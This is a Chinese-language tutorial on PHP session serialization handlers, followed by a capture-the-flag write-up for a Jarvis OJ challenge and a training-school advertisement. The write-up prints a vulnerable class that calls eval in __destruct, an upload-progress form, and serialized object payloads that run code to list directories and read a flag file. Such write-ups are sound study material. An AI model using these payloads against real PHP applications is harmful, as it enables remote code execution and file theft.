PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体session值会存储于服务器端,这也是与cookie的主要区别,所以seesion的安全性相对较高。
PHP session的工作流程
当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果发现请求的Cookies、Get、Post中不存在session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存
PHP session的几个常见配置
session.upload_progress.enabled启用上传进度跟踪,并填充$ _SESSION变量,默认启用。
session.serialize_handler定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同
session.save_path session文件的存储位置
session.auto_start=0表明默认不启动session
session.save_handler=files session文件的存储方式
PHP session序列化及反序列化处理器
php在session存储和读取时,都会有一个序列化和反序列化的过程,序列化、反序列化中会调用对象的magic方法,比如__destruct(),__wakeup()等PHP内置了多种处理器用于处理$_SESSION数据,都会对数据进行序列化和反序列化,这几种处理器如下:
php_binary:存储格式为,键名的长度对应的ASCII字符+键名+经过serialize函数序列化处理的值
php:存储格式为,键名+竖线+经过serialize函数序列化处理的值
php_serialize(php>5.5.4):存储格式为,经过serialize函数序列化处理的值
具体用哪个处理器,由session.serialize_handler来定义。
一道php session反序列化漏洞的题
jarvis上的PHPINFO:http://web.jarvisoj.com:32784/代码:
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
看到PHP代码中的ini_set(‘session.serialize_handler‘, ‘php‘)猜到这道题目可能与PHP中的Session序列化的问题有关,看了下phpinfo(),发现
session.serialize_handler:php_serialize
session.upload_progress.enabled:on
php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。这就导致了seesion的反序列化问题。这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列化的值,然后访问index.php时就会被php的引擎反序列化。但是本题中没有提供写入session的方法,但是session.upload_progress.enabled这个是开着的,我们可以借此向服务器设置session,当session.upload_progress.enabled选项开启时,PHP能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:
test XXEmethod="POST" enctype="multipart/form-data">
ame="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
ame="file" />
value="go" />
获取项目路径:通过dirname获取文件路径设置$mdzz=‘print_r(dirname(__FILE));‘序列化得到的结果是O:5:"OowoO":1:{s:4:"mdzz";s:27:"print_r(dirname(__FILE));";}文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
opt/lampp/htdocs
获取文件列表通过scandir获取文件列表设置$mdzz=‘print_r(scandir("/opt/lampp/htdocs"));‘序列化的结果是O:5:"OowoO":1:{s:4:"mdzz";s:38:"print_r(scandir("/opt/lampp/htdocs"));";}文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}发现存在Here_1s_7he_fl4g_buT_You_Cannot_see.php。
读取文件内容:通过file_get_contents读取文件内容设置$mdzz=print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));序列化结果O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}文件名设置为|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}。
最后就得到flag了。
了解更多PHP相关知识欢迎来到合肥达内PHP培训,合肥PHP开发培训免费训练营正在报名中,北京一线名师入门高薪互联网行业,全程大咖讲师亲授,为你解析行业发展趋势,就业前景,帮你了解技术,轻松入门,更快一步成为技术大牛!在线留言客服即可报名参加。
【免责声明】本文系本网编辑部分转载,转载目的在于传递更多信息,并不代表本网赞同其观点和对其真实性负责。如涉及作品内容、版权和其它问题,请在30日内与管理员联系,我们会予以更改或删除相关文章,以保证您的权益!
填写下列表单即可预约申请免费试听!怕钱不够?可就业挣钱后再付学费!怕学不会?助教全程陪读,随时解惑!担心就业?一地学习,可全国推荐就业!